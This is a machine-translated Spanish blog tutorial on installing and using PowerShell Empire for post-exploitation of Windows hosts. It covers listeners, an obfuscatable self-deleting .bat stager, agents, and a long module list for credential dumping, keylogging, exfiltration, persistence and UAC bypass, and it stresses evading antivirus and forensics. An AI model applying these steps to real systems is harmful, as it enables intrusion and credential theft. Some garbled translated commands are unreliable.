BlogPost-Exploitation

Cómo utilizar PowerShell Empire: Introducción a la explotación posterior a los hosts de Windows

[*]

Imperio de PowerShell es un marco de post-explotación para computadoras y servidores que ejecutan sistemas operativos Microsoft Windows, Windows Server o ambos. En estos tutoriales, exploraremos todo, desde cómo instalar Powershell Empire hasta cómo husmear en la computadora de un objetivo sin que el software antivirus lo sepa. Si tenemos suerte, incluso podríamos obtener credenciales de administrador de dominio y ser dueños de toda la red.

Una herramienta para apuntar a Windows

Los marcos de exploits son populares y la mayoría de los piratas informáticos han oído hablar de Metasploit, un marco que automatiza la implementación de poderosos exploits. Quizás se esté preguntando, ¿en qué se diferencia PowerShell Empire de Metasploit? ¿No está Metasploit ya cumpliendo el mismo propósito? Bueno, sí y no. PowerShell Empire se ocupa estrictamente de máquinas con Windows, y es ventajoso en una prueba de penetración porque la mayoría de los objetivos en estos días ejecutan alguna versión de Windows.

Un ejemplo simple de este punto sería el uso generalizado de Excel en Microsoft Windows. Dado que Microsoft Excel tiene funciones más avanzadas que la versión para Mac (así como Office 365), podemos asumir que el departamento de finanzas de la mayoría de las empresas objetivo utilizará Microsoft Windows. Los departamentos de finanzas también suelen tener acceso a números de cuentas bancarias y otros datos interesantes.

PowerShell Empire también le da al atacante la capacidad de ejecutar comandos en la memoria, lo que significa que las acciones maliciosas que realiza PowerShell Empire no se ejecutan en el disco duro. En cambio, se ejecutan en la memoria de la computadora, lo que reduce la probabilidad de ser detectado por el software antivirus, así como la posibilidad de dejar huellas digitales para los investigadores forenses.

Cuándo usar PowerShell Empire

Algunas de las actividades y objetivos que se pueden lograr incluyen la escalada de privilegios (elevar los privilegios de una cuenta de usuario estándar a un administrador), el reconocimiento de redes y hosts (averiguar qué hosts y servicios están presentes), movimiento lateral entre hosts y la recopilación de cartas credenciales. Todos estos son componentes vitales de una prueba de penetración moderna.

PowerShell Empire logra esto a través de tres componentes principales: oyentes, stagers y agentes.

  • Un oyente es un proceso que escucha una conexión de la máquina que estamos atacando. Ayuda a Empire a enviar el botín a la computadora del atacante.
  • Un stager es un fragmento de código que permite que nuestro código malicioso se ejecute a través del agente en el host comprometido.
  • Un agente es un programa que mantiene una conexión entre su computadora y el host comprometido.

Por último, los módulos son donde está la diversión. Estos son los que ejecutan nuestros comandos maliciosos, que pueden recopilar credenciales y aumentar nuestros privilegios, como se mencionó anteriormente.

Ahora que hemos discutido qué hace PowerShell Empire y por qué es útil, echemos un vistazo a cómo ponerlo en funcionamiento.

Paso 1: Instalación de PowerShell Empire

Para ejecutar Powershell, necesitará una máquina Kali Linux. Si necesita una buena computadora Kali de inicio para piratear, puede consultar nuestra guía sobre cómo configurar una en el Raspberry Pi de bajo costo debajo.

Para instalar Empire en su máquina Kali Linux, necesitamos clonarlo desde GitHub. Abra una terminal y escriba el siguiente comando, como se muestra a continuación.

~# git clone https://github.com/EmpireProject/Empire.git

Cloning into 'Empire'...
remote: Enumerating objects: 12216, done.
remote: Total 12216 (delta 0), reused 0 (delta 0), pack-reused 12216
Receiving objects: 100% (12216/12216), 22.14 MiB | 9.67 MiB/s, done.
Resolving deltas: 100% (8307/8307), done.

Eso creará un nuevo directorio con el nombre “Empire”. Muévase a ese directorio escribiendo cd Empire, luego usa el ls comando para ver el contenido del directorio.

~# cd Empire
~/Empire# ls

changelog  Dockerfile  lib      plugins    setup
data       empire      LICENSE  README.md  VERSION

Puede leer sobre Empire en el README.md expediente.

~/Empire# leafpad README.md

# Empire
## This project is no longer supported

Empire is a post-exploitation framework that includes a pure-PowerShell2.0 Windows agent, and a pure Python 2.6/2.7 Linux/OS X agent. It is the merge of the previous PowerShell Empire and Python EmPyre projects. The framework offers cryptologically-secure communications and a flexible architecture. On the PowerShell side, Empire implements the ability to run PowerShell agents without needing powershell.exe, rapidly deployable post-exploitation modules ranging from key loggers to Mimikatz, and adaptable communications to evade network detection, all wrapped up in a usability-focused framework. PowerShell Empire premiered at [BSidesLV in 2015](https://www.youtube.com/watch?v=Pq9t59w0mUI) and Python EmPyre premeiered at HackMiami 2016.
Empire relies heavily on the work from several other projects for its underlying functionality. We have tried to call out a few of those people we've interacted with [heavily here](http://www.powershellempire.com/?page_id=2) and have included author/reference link information in the source of each Empire module as appropriate. If we have failed to improperly cite existing or prior work, please let us know.
Empire is developed by [@harmj0y](https://twitter.com/harmj0y), [@sixdub](https://twitter.com/sixdub), [@enigma0x3](https://twitter.com/enigma0x3), [rvrsh3ll](https://twitter.com/424f424f), [@killswitch_gui](https://twitter.com/killswitch_gui), and [@xorrior](https://twitter.com/xorrior).
Feel free to join us on Slack! https://bloodhoundgang.herokuapp.com

## Install
To install, run `sudo ./setup/install.sh` script or use the corresponding docker image `docker pull empireproject/empire`.
There's also a [quickstart here](http://www.powershellempire.com/?page_id=110) and full [documentation here](http://www.powershellempire.com/?page_id=83).

## Quickstart
Check out the [Empire wiki](https://github.com/EmpireProject/Empire/wiki/Quickstart) for instructions on getting started with Empire.

## Contribution Rules
Contributions are more than welcome! The more people who contribute to the project the better Empire will be for everyone. Below are a few guidelines for submitting contributions.

* Beginning with version 2.4, we will only troubleshoot issues for Kali, Debian, or Ubuntu. All other operating systems will not be supported. We understand that this is frustrating but hopefully the new docker build can provide an alternative.
* Submit pull requests to the [dev branch](https://github.com/powershellempire/Empire/tree/dev). After testing, changes will be merged to master.
* Depending on what you're working on, base your module on [./lib/modules/powershell_template.py](lib/modules/powershell_template.py) or [./lib/modules/python_template.py](lib/modules/python_template.py). **Note** that for some modules you may need to massage the output to get it into a nicely displayable text format [with Out-String](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L111).
* Cite previous work in the **'Comments'** module section.
* If your script.ps1 logic is large, may be reused by multiple modules, or is updated often, consider implementing the logic in the appropriate **data/module_source/*** directory and [pulling the script contents into the module on tasking](https://github.com/PowerShellEmpire/Empire/blob/0cbdb165a29e4a65ad8dddf03f6f0e36c33a7350/lib/modules/situational_awareness/network/powerview/get_user.py#L85-L95).
* Use [approved PowerShell verbs](https://technet.microsoft.com/en-us/library/ms714428(v=vs.85).aspx) for any functions.
* PowerShell Version 2 compatibility is **STRONGLY** preferred.
* TEST YOUR MODULE! Be sure to run it from an Empire agent before submitting a pull to ensure everything is working correctly.
* For additional guidelines for your PowerShell code itself, check out the [PowerSploit style guide](https://github.com/PowerShellMafia/PowerSploit/blob/master/README.md).

Verá una carpeta de “instalación” dentro del directorio Empire. Navegue a esa carpeta escribiendo configuración de cd, luego usa el ls comando para ver el contenido de la carpeta “configuración”. Puede ver un script de shell de instalación, como se muestra a continuación.

~/Empire# cd setup
~/Empire/setup# ls

cert.sh  install.sh  requirements.txt  reset.sh  setup_database.py

Tipo ./install.sh para instalar Empire ejecutando el script. Durante el proceso de instalación, se le pedirá que configure una contraseña de negociación del servidor. Lo configuré como “toor” pero puedes elegir tu propia contraseña. Si todo iba bien, la instalación terminaría, como se muestra a continuación.

~/Empire/setup# ./install.sh

Reading package lists... Done
Building dependency tree
Reading state information... Done
default-jdk is already the newest version (2:1.11-72).
make is already the newest version (4.2.1-1.2).
make set to manually installed.
python-dev is already the newest version (2.7.17-2).
python-pip is already the newest version (18.1-5).
The following packages were automatically installed and are no longer required:
...

 [>] Enter server negotiation password, enter for random generation: toor

 [*] Database setup completed!

 [*] Certificate written to ../data/empire-chain.pem
 [*] Private key written to ../data/empire-priv.key

 [*] Setup complete!

Hemos terminado con la instalación. Ahora es el momento de iniciar Empire.

Paso 2: Ejecutar Powershell Empire

Vuelva al directorio Empire escribiendo CD .. y ejecutar el ./imperio ejecutable como se muestra. Comenzará como se ve a continuación.

~/Empire/setup# cd ..
~/Empire# ./empire

[*] Loading stagers from: /root/Empire//lib/stagers/
[*] Loading modules from: /root/Empire//lib/modules/
[*] Loading listeners from: /root/Empire//lib/listeners/

Si Empire muestra un error al iniciarse, navegue a la carpeta “configuración” con configuración de cd y ejecutar el ./reset.sh texto. Luego, reinicia Empire nuevamente como lo hicimos antes. Si eso aún no funciona, es posible que deba instalar algunos módulos faltantes. Aquí están los que tuve que instalar:

~/Empire# python -m pip install iptools netifaces pydispatch pydispatcher zlib_wrapper macholib xlrd xlutils pyminifier dropbox

Después de iniciar Empire, mostrará un mensaje de bienvenida como se muestra a continuación.

~/Empire# ./empire

[*] Loading stagers from: /root/Empire//lib/stagers/
[*] Loading modules from: /root/Empire//lib/modules/
[*] Loading listeners from: /root/Empire//lib/listeners/
[*] Starting listener 'meterp'
[+] Listener successfully started!
[*] Starting listener 'http'
 * Serving Flask app "http" (lazy loading)
 * Environment: production
   WARNING: Do not use the development server in a production environment.
   Use a production WSGI server instead.
 * Debug mode: off
[+] Listener successfully started!
[*] Empire starting up...

                              `````````
                         ``````.--::///+
                     ````-+sydmmmNNNNNNN
                   ``./ymmNNNNNNNNNNNNNN
                 ``-ymmNNNNNNNNNNNNNNNNN
               ```ommmmNNNNNNNNNNNNNNNNN
              ``.ydmNNNNNNNNNNNNNNNNNNNN
             ```odmmNNNNNNNNNNNNNNNNNNNN
            ```/hmmmNNNNNNNNNNNNNNNNMNNN
           ````+hmmmNNNNNNNNNNNNNNNNNMMN
          ````..ymmmNNNNNNNNNNNNNNNNNNNN
          ````:.+so+//:---.......----::-
         `````.`````````....----:///++++
        ``````.-/osy+////:::---...-dNNNN
        ````:sdyyydy`         ```:mNNNNM
       ````-hmmdhdmm:`      ``.+hNNNNNNM
       ```.odNNmdmmNNo````.:+yNNNNNNNNNN
       ```-sNNNmdh/dNNhhdNNNNNNNNNNNNNNN
       ```-hNNNmNo::mNNNNNNNNNNNNNNNNNNN
       ```-hNNmdNo--/dNNNNNNNNNNNNNNNNNN
      ````:dNmmdmd-:+NNNNNNNNNNNNNNNNNNm
      ```/hNNmmddmd+mNNNNNNNNNNNNNNds++o
     ``/dNNNNNmmmmmmmNNNNNNNNNNNmdoosydd
     `sNNNNdyydNNNNmmmmmmNNNNNmyoymNNNNN
     :NNmmmdso++dNNNNmmNNNNNdhymNNNNNNNN
     -NmdmmNNdsyohNNNNmmNNNNNNNNNNNNNNNN
     `sdhmmNNNNdyhdNNNNNNNNNNNNNNNNNNNNN
       /yhmNNmmNNNNNNNNNNNNNNNNNNNNNNmhh
        `+yhmmNNNNNNNNNNNNNNNNNNNNNNmh+:
          `./dmmmmNNNNNNNNNNNNNNNNmmd.
            `ommmmmNNNNNNNmNmNNNNmmd:
             :dmmmmNNNNNmh../oyhhhy:
             `sdmmmmNNNmmh/++-.+oh.
              `/dmmmmmmmmdo-:/ossd:
                `/ohhdmmmmmmdddddmh/
                   `-/osyhdddddhyo:
                        ``.----.`

                Welcome to the Empire

Al finalizar, Empire mostrará la siguiente pantalla.

================================================================
 [Empire]  Post-Exploitation Framework
================================================================
 [Version] 2.5 | [Web] https://github.com/empireProject/Empire
================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   /   | |   _    |  | |   _       |   ____|
  |  |__   |    /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |  ----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|

       285 modules currently loaded

       0 listeners currently active

       0 agents currently active

(Empire) >

En el momento de escribir estas líneas, Empire tiene 285 módulos. No se preocupe si suenan como técnicas complicadas de ninjitsu; Con diligencia y práctica, aprenderá qué son los módulos, los oyentes y los agentes. Al final de esta serie, tendrá una idea clara de qué son y cómo usarlos.

Primero, comencemos escribiendo el ayuda comando, que mostrará el menú de ayuda, como se ve a continuación.

(Empire) > help

Commands
========
agents            Jump to the Agents menu.
creds             Add/display credentials to/from the database.
exit              Exit Empire
help              Displays the help menu.
interact          Interact with a particular agent.
list              Lists active agents or listeners.
listeners         Interact with active listeners.
load              Loads Empire modules from a non-standard folder.
plugin            Load a plugin file to extend Empire.
plugins           List all available and active plugins.
preobfuscate      Preobfuscate PowerShell module_source files
reload            Reload one (or all) Empire modules.
report            Produce report CSV and log files: sessions.csv, credentials.csv, master.log
reset             Reset a global option (e.g. IP whitelists).
resource          Read and execute a list of Empire commands from a file.
searchmodule      Search Empire module names/descriptions.
set               Set a global option (e.g. IP whitelists).
show              Show a global option (e.g. IP whitelists).
usemodule         Use an Empire module.
usestager         Use an Empire stager.

Paso 3: usar oyentes

Los oyentes en Empire son los canales que reciben conexiones de nuestra máquina de destino. Antes de hacer algo en Empire, debemos iniciar a los oyentes. Podemos movernos al menú de administración de oyentes escribiendo comando oyentes Como se muestra abajo.

(Empire) > listeners

[!] No listeners currently active

(Empire: listeners) > help

Listener Commands
=================
agents            Jump to the agents menu.
back              Go back to the main menu.
creds             Display/return credentials from the database.
delete            Delete listener(s) from the database
disable           Disables (stops) one or all listeners. The listener(s) will not start automatically with Empire
edit              Change a listener option, will not take effect until the listener is restarted
enable            Enables and starts one or all listners.
exit              Exit Empire.
help              Displays the help menu.
info              Display information for the given active listener.
kill              Kill one or all active listeners.
launcher          Generate an initial launcher for a listener.
list              List all active listeners (or agents).
listeners         Jump to the listeners menu.
main              Go back to the main menu.
resource          Read and execute a list of Empire commands from a file.
uselistener       Use an Empire listener module.
usestager         Use an Empire stager.

Una vez que nos movemos al menú de administración de oyentes, como se muestra arriba, podemos ver su submenú escribiendo el ayuda mando. Echemos un vistazo a lo que hará cada comando.

  • agentes – Le permitirá saltar al menú de agentes.
  • espalda y principal – Te llevará de regreso al menú principal.
  • Salida – Saldrá de Empire.
  • ayuda – Mostrará el menú de ayuda como se muestra en la imagen de arriba.
  • info – Mostrará información sobre el oyente activo.
  • matar – Matará a un oyente en particular.
  • lanzacohetes – Se utiliza para generar un lanzador inicial para un oyente.
  • lista – Listará todos los oyentes activos.
  • usestager – Se utiliza para usar un stager (veremos a continuación qué es exactamente un stager).
  • uselistaner – Se utiliza para iniciar un módulo de escucha.

Veamos ahora cómo iniciar un módulo de escucha en Empire. Escribe el uselistaner comando, y use la finalización de tabulación para ver los oyentes disponibles en Empire. (Si la finalización de tabulación no funciona, intente habilitar la función con apto instalar bash-completacion.)

(Empire: listeners) > uselistener

dbx     http_com        http_hop
http    http_foreign    meterpreter

Los tipos de oyentes disponibles se muestran arriba. Aprenderemos sobre los diferentes tipos de oyentes en las próximas secciones. Por ahora, veamos cómo iniciar un oyente.

Usemos el oyente “meterpreter” como ejemplo. Tipo uselistener meterpreter como se muestra arriba. Una vez que se carga el oyente en particular, puede escribir ayuda comando para mostrar las opciones disponibles.

El agentes, espalda, Salida, ayuda, lanzacohetes, oyentes, y principal Los comandos se han explicado anteriormente. Aprendamos sobre los otros comandos.

(Empire: listeners) > uselistener meterpreter

(Empire: listeners/meterpreter) > help

Listener Commands
=================
agents            Jump to the agents menu.
back              Go back a menu.
creds             Display/return credentials from the database.
execute           Execute the given listener module.
exit              Exit Empire.
help              Displays the help menu.
info              Display listener module options.
launcher          Generate an initial launcher for this listener.
listeners         Jump to the listeners menu.
main              Go back to the main menu.
resource          Read and execute a list of Empire commands from a file.
set               Set a listener option.
unset             Unset a listener option.

(Empire: listeners/meterpreter) >

El info El comando muestra la información sobre el tipo particular de oyente que queremos iniciar, como se ve a continuación.

(Empire: listeners/meterpreter) > info

    Name: Meterpreter
Category: client_server

Authors:
  @harmj0y

Description:
  Starts a 'foreign' http[s] Meterpreter listener.

Meterpreter Options:

  Name              Required    Value                            Description
  ----              --------    -------                          -----------
  Host              True        http://192.168.91.138:80         Hostname/IP for staging.
  Name              True        meterpreter                      Name for the listener.
  Port              True        80                               Port for the listener.

(Empire: listeners/meterpreter) >

Cada oyente requiere que se establezcan ciertas opciones. Por ejemplo, el oyente “meterpreter” necesita el Anfitrión y Puerto valores a configurar. El colocar El comando se utiliza para asignar estos valores. Del mismo modo, el desarmado El comando se usa para borrar estos valores.

Una cosa importante para recordar es que Empire distingue entre mayúsculas y minúsculas. Por ejemplo, en el cuadro de código a continuación, estoy configurando el valor “Nombre” de nuestro oyente. “Nombre” y “nombre” son diferentes en Empire, y le dará un error si se usan incorrectamente, ya que no se pueden usar indistintamente.

(Empire: listeners/meterpreter) > set

[!] Error in setting listener option: list index out of range

(Empire: listeners/meterpreter) > set name meterp

[!] Invalid option specified.

(Empire: listeners/meterpreter) > set Name meterp

(Empire: listeners/meterpreter) >

Cuando todas las opciones están configuradas, podemos iniciar un oyente usando el ejecutar mando.

(Empire: listeners/meterpreter) > execute

[*] Starting listener 'meterp'
[+] Listener successfully started!
(Empire: listeners/meterpreter) >

Una vez que vamos espalda al menú principal, podemos ver que nuestro oyente está activo actualmente.

================================================================
 [Empire]  Post-Exploitation Framework
================================================================
 [Version] 2.5 | [Web] https://github.com/empireProject/Empire
================================================================

   _______ .___  ___. .______    __  .______       _______
  |   ____||   /   | |   _    |  | |   _       |   ____|
  |  |__   |    /  | |  |_)  | |  | |  |_)  |    |  |__
  |   __|  |  |/|  | |   ___/  |  | |      /     |   __|
  |  |____ |  |  |  | |  |      |  | |  |  ----.|  |____
  |_______||__|  |__| | _|      |__| | _| `._____||_______|

       285 modules currently loaded

       1 listeners currently active

       0 agents currently active

(Empire) >

Paso 4: uso de Stagers

Los Stagers in Empire se utilizan para preparar el escenario para las actividades posteriores a la explotación. Son similares a las cargas útiles, que se utilizan para crear una conexión con Empire. Se puede acceder a los stagers utilizando el usestager comando como se muestra a continuación.

Escribe el usestager y luego use la finalización de la pestaña para ver todos los escalonadores disponibles.

(Empire) > usestager

multi/bash                osx/macho                 windows/launcher_bat
multi/launcher            osx/macro                 windows/launcher_lnk
multi/macro               osx/pkg                   windows/launcher_sct
multi/pyinstaller         osx/safari_launcher       windows/launcher_vbs
multi/war                 osx/teensy                windows/launcher_xml
osx/applescript           windows/backdoorLnkMacro  windows/macro
osx/application           windows/bunny             windows/macroless_msword
osx/ducky                 windows/csharp_exe        windows/shellcode
osx/dylib                 windows/dll               windows/teensy
osx/jar                   windows/ducky
osx/launcher              windows/hta
(Empire) > usestager

Aprenderemos sobre diferentes etapas en una próxima sección. Primero, echemos un vistazo a cómo configurar un stager.
Comencemos el stager “launcher_bat” como ejemplo.

Escribe el usestager windows / launcher_bat comando para cargar el stager. Luego, escriba el ayuda comando para echar un vistazo al menú del stager.

(Empire) > usestager windows/launcher_bat
(Empire: stager/windows/launcher_bat) > help

Stager Menu
===========
agents            Jump to the agents menu.
back              Go back a menu.
creds             Display/return credentials from the database.
execute           Generate/execute the given Empire stager.
exit              Exit Empire.
generate          Generate/execute the given Empire stager.
help              Displays the help menu.
info              Display stager options.
interact          Interact with a particular agent.
list              Lists all active agents (or listeners).
listeners         Jump to the listeners menu.
main              Go back to the main menu.
options           Display stager options.
resource          Read and execute a list of Empire commands from a file.
set               Set a stager option.
unset             Unset a stager option.

(Empire: stager/windows/launcher_bat) >
  • agentes – Le permitirá saltar directamente al menú de agentes.
  • espalda y principal – Te llevará de regreso al menú principal.
  • Salida – Saldrá de Empire.
  • ayuda– Mostrará el menú de ayuda como se muestra en la imagen de arriba.
  • info– Mostrará información sobre el oyente activo.
  • matar– Se usa para matar a un oyente en particular.
  • ejecutar o generar – Ejecutará o generará el stager.
  • interactuar – Se utiliza para interactuar con un agente en particular (normalmente se utiliza cuando hay varios oyentes).
  • lista – Enumerará todos los oyentes o agentes activos.
  • opciones– Se usa para ver todas las opciones que necesitamos configurar para el agente en particular.
  • armado y desarmado – Se utiliza para configurar y desarmar valores para opciones particulares, respectivamente.
  • oyentes – Se usa para saltar al menú de oyentes.

Podemos obtener más información acerca de este stager en particular usando el info mando. Como puede ver en la información, crea un archivo por lotes que se borra automáticamente.

(Empire: stager/windows/launcher_bat) > info

Name: BAT Launcher

Description:
  Generates a self-deleting .bat launcher for
  Empire.

Options:

  Name             Required    Value             Description
  ----             --------    -------           -----------
  Listener         True                          Listener to generate stager for.
  OutFile          False       /tmp/launcher.bat File to output .bat launcher to,
                                                 otherwise displayed on the screen.
  Obfuscate        False       False             Switch. Obfuscate the launcher
                                                 powershell code, uses the
                                                 ObfuscateCommand for obfuscation types.
                                                 For powershell only.
  ObfuscateCommand False       TokenAll1,LauncherSTDIN++12467The Invoke-Obfuscation command to use.
                                                 Only used if Obfuscate switch is True.
                                                 For powershell only.
  Language         True        powershell        Language of the stager to generate.
  ProxyCreds       False       default           Proxy credentials
                                                 ([domain]username:password) to use for
                                                 request (default, none, or other).
  UserAgent        False       default           User-agent string to use for the staging
                                                 request (default, none, or other).
  Proxy            False       default           Proxy to use for request (default, none,
                                                 or other).
  Delete           False       True              Switch. Delete .bat after running.
  StagerRetries    False       0                 Times for the stager to retry
                                                 connecting.

(Empire: stager/windows/launcher_bat) >

Necesitamos establecer un oyente para que el organizador pueda comunicarse con Empire. En el último paso, ya hemos creado un oyente. Establezcamos este oyente para nuestro stager “launcher_bat”.

(Empire: stager/windows/launcher_bat) > set Listener meterpreter
(Empire: stager/windows/launcher_bat) > execute

[*] Stager output written out to: /tmp/launcher.bat

(Empire: stager/windows/launcher_bat) >

Podemos hacer esto usando set Listener meterp mando. Escribe el ejecutar comando para generar el stager. El stager se crea en la carpeta “tmp” como se indica en la salida que se muestra arriba en azul.

Paso 5: uso de agentes

Cuando enviamos el organizador de etapas a nuestro sistema de destino y la máquina se conecta con él, obtenemos una conexión inversa. Esto se conoce como agente.

Se puede acceder al menú Agentes usando agentes comando, como se muestra a continuación. Pero, como se indica en el resultado, actualmente no tenemos ningún agente registrado. Eso está a la vuelta de la esquina.

(Empire) > agents

[!] No agents currently registered

(Empire: agents) > help

Commands
========
agents            Jump to the agents menu.
autorun           Read and execute a list of Empire commands from a file and execute on each new agent "autorun <resource file> <agent language>" e.g. "autorun /root/ps.rc powershell". Or clear any autorun setting with "autorun clear" and show current autorun settings with "autorun show"
back              Go back to the main menu.
clear             Clear one or more agent's taskings.
creds             Display/return credentials from the database.
exit              Exit Empire.
help              Displays the help menu.
interact          Interact with a particular agent.
kill              Task one or more agents to exit.
killdate          Set the killdate for one or more agents (killdate [agent/all] 01/01/2016).
list              Lists all active agents (or listeners).
listeners         Jump to the listeners menu.
lostlimit         Task one or more agents to 'lostlimit [agent/all] [number of missed callbacks] '
main              Go back to the main menu.
remove            Remove one or more agents from the database.
rename            Rename a particular agent.
resource          Read and execute a list of Empire commands from a file.
searchmodule      Search Empire module names/descriptions.
sleep             Task one or more agents to 'sleep [agent/all] interval [jitter]'
usemodule         Use an Empire PowerShell module.
usestager         Use an Empire stager.
workinghours      Set the workinghours for one or more agents (workinghours [agent/all] 9:00-17:00).

(Empire: agents) >

La salida de la ayuda El comando se muestra arriba. Mostrará todos los comandos que podemos usar cuando un agente establece una conexión con Empire. Por ejemplo, escribiendo el lista El comando mostrará todos los agentes activos que tenemos, como se muestra a continuación.

(Empire: agents) >  list

[*] Active agents:

 Name       Lang    Internal IP     Machine Name    Username    Process         Delay   Last Seen
 --------   ----    --------------  -------------   --------    -------         -----   -------------------
 7A9WSDPN   ps      XXXXXXXXXXXXXX  XXXXXXXXXXXXX   XXXXXXXX    powershell/4032 5/0.0   2020-03-29 09:00:44

Paso 6: uso de módulos

Los módulos en Empire se utilizan para realizar funciones específicas. Podemos acceder a los módulos usando el usemodule mando. Tipo usemodule y luego use la finalización de tabulación para ver todos los módulos.

(Empire: agents) > usemodule

Display all 285 possibilities? (y or n) y
exfiltration/Invoke_ExfilDataToGitHub
external/generate_agent
powershell/code_execution/invoke_dllinjection
powershell/code_execution/invoke_metasploitpayload
powershell/code_execution/invoke_ntsd
powershell/code_execution/invoke_reflectivepeinjection
powershell/code_execution/invoke_shellcode
powershell/code_execution/invoke_shellcodemsil
powershell/collection/ChromeDump
powershell/collection/FoxDump
powershell/collection/USBKeylogger*
powershell/collection/WebcamRecorder
powershell/collection/browser_data
powershell/collection/clipboard_monitor
powershell/collection/file_finder
powershell/collection/find_interesting_file
powershell/collection/get_indexed_item
powershell/collection/get_sql_column_sample_data
powershell/collection/get_sql_query
powershell/collection/inveigh
powershell/collection/keylogger
powershell/collection/minidump
powershell/collection/netripper
powershell/collection/ninjacopy*
powershell/collection/packet_capture*
powershell/collection/prompt
powershell/collection/screenshot
powershell/collection/vaults/add_keepass_config_trigger
powershell/collection/vaults/find_keepass_config
powershell/collection/vaults/get_keepass_config_trigger
powershell/collection/vaults/keethief
powershell/collection/vaults/remove_keepass_config_trigger
powershell/credentials/credential_injection*
powershell/credentials/enum_cred_store
powershell/credentials/invoke_kerberoast
powershell/credentials/mimikatz/cache*
powershell/credentials/mimikatz/certs*
powershell/credentials/mimikatz/command*
powershell/credentials/mimikatz/dcsync
powershell/credentials/mimikatz/dcsync_hashdump
powershell/credentials/mimikatz/extract_tickets
powershell/credentials/mimikatz/golden_ticket
powershell/credentials/mimikatz/keys*
powershell/credentials/mimikatz/logonpasswords*
powershell/credentials/mimikatz/lsadump*
powershell/credentials/mimikatz/mimitokens*
powershell/credentials/mimikatz/pth*
powershell/credentials/mimikatz/purge
powershell/credentials/mimikatz/sam*
powershell/credentials/mimikatz/silver_ticket
powershell/credentials/mimikatz/trust_keys*
powershell/credentials/powerdump*
powershell/credentials/sessiongopher
powershell/credentials/tokens
powershell/credentials/vault_credential*
powershell/exfiltration/egresscheck
powershell/exfiltration/exfil_dropbox
powershell/exploitation/exploit_eternalblue
powershell/exploitation/exploit_jboss
powershell/exploitation/exploit_jenkins
powershell/lateral_movement/inveigh_relay
powershell/lateral_movement/invoke_dcom
powershell/lateral_movement/invoke_executemsbuild
powershell/lateral_movement/invoke_psexec
powershell/lateral_movement/invoke_psremoting
powershell/lateral_movement/invoke_smbexec
powershell/lateral_movement/invoke_sqloscmd
powershell/lateral_movement/invoke_sshcommand
powershell/lateral_movement/invoke_wmi
powershell/lateral_movement/invoke_wmi_debugger
powershell/lateral_movement/jenkins_script_console
powershell/lateral_movement/new_gpo_immediate_task
powershell/management/disable_rdp*
powershell/management/downgrade_account
powershell/management/enable_multi_rdp*
powershell/management/enable_rdp*
powershell/management/get_domain_sid
powershell/management/honeyhash*
powershell/management/invoke_script
powershell/management/lock
powershell/management/logoff
powershell/management/mailraider/disable_security
powershell/management/mailraider/get_emailitems
powershell/management/mailraider/get_subfolders
powershell/management/mailraider/mail_search
powershell/management/mailraider/search_gal
powershell/management/mailraider/send_mail
powershell/management/mailraider/view_email
powershell/management/psinject
powershell/management/reflective_inject
powershell/management/restart
powershell/management/runas
powershell/management/shinject
powershell/management/sid_to_user
powershell/management/spawn
powershell/management/spawnas
powershell/management/switch_listener
powershell/management/timestomp
powershell/management/user_to_sid
powershell/management/vnc
powershell/management/wdigest_downgrade*
powershell/management/zipfolder
powershell/persistence/elevated/registry*
powershell/persistence/elevated/schtasks*
powershell/persistence/elevated/wmi*
powershell/persistence/elevated/wmi_updater*
powershell/persistence/misc/add_netuser
powershell/persistence/misc/add_sid_history*
powershell/persistence/misc/debugger*
powershell/persistence/misc/disable_machine_acct_change*
powershell/persistence/misc/get_ssps
powershell/persistence/misc/install_ssp*
powershell/persistence/misc/memssp*
powershell/persistence/misc/skeleton_key*
powershell/persistence/powerbreach/deaduser
powershell/persistence/powerbreach/eventlog*
powershell/persistence/powerbreach/resolver
powershell/persistence/userland/backdoor_lnk
powershell/persistence/userland/registry
powershell/persistence/userland/schtasks
powershell/privesc/ask
powershell/privesc/bypassuac
powershell/privesc/bypassuac_env
powershell/privesc/bypassuac_eventvwr
powershell/privesc/bypassuac_fodhelper
powershell/privesc/bypassuac_sdctlbypass
powershell/privesc/bypassuac_tokenmanipulation
powershell/privesc/bypassuac_wscript
powershell/privesc/getsystem*
powershell/privesc/gpp
powershell/privesc/mcafee_sitelist
powershell/privesc/ms16-032
powershell/privesc/ms16-135
powershell/privesc/powerup/allchecks
powershell/privesc/powerup/find_dllhijack
powershell/privesc/powerup/service_exe_restore
powershell/privesc/powerup/service_exe_stager
powershell/privesc/powerup/service_exe_useradd
powershell/privesc/powerup/service_stager
powershell/privesc/powerup/service_useradd
powershell/privesc/powerup/write_dllhijacker
powershell/privesc/tater
powershell/recon/find_fruit
powershell/recon/get_sql_server_login_default_pw
powershell/recon/http_login
powershell/situational_awareness/host/antivirusproduct
powershell/situational_awareness/host/computerdetails*
powershell/situational_awareness/host/dnsserver
powershell/situational_awareness/host/findtrusteddocuments
powershell/situational_awareness/host/get_pathacl
powershell/situational_awareness/host/get_proxy
powershell/situational_awareness/host/get_uaclevel
powershell/situational_awareness/host/monitortcpconnections
powershell/situational_awareness/host/paranoia*
powershell/situational_awareness/host/winenum
powershell/situational_awareness/network/arpscan
powershell/situational_awareness/network/bloodhound
powershell/situational_awareness/network/get_exploitable_system
powershell/situational_awareness/network/get_spn
powershell/situational_awareness/network/get_sql_instance_domain
powershell/situational_awareness/network/get_sql_server_info
powershell/situational_awareness/network/portscan
powershell/situational_awareness/network/powerview/find_foreign_group
powershell/situational_awareness/network/powerview/find_foreign_user
powershell/situational_awareness/network/powerview/find_gpo_computer_admin
powershell/situational_awareness/network/powerview/find_gpo_location
powershell/situational_awareness/network/powerview/find_localadmin_access
powershell/situational_awareness/network/powerview/find_managed_security_group
powershell/situational_awareness/network/powerview/get_cached_rdpconnection
powershell/situational_awareness/network/powerview/get_computer
powershell/situational_awareness/network/powerview/get_dfs_share
powershell/situational_awareness/network/powerview/get_domain_controller
powershell/situational_awareness/network/powerview/get_domain_policy
powershell/situational_awareness/network/powerview/get_domain_trust
powershell/situational_awareness/network/powerview/get_fileserver
powershell/situational_awareness/network/powerview/get_forest
powershell/situational_awareness/network/powerview/get_forest_domain
powershell/situational_awareness/network/powerview/get_gpo
powershell/situational_awareness/network/powerview/get_group
powershell/situational_awareness/network/powerview/get_group_member
powershell/situational_awareness/network/powerview/get_localgroup
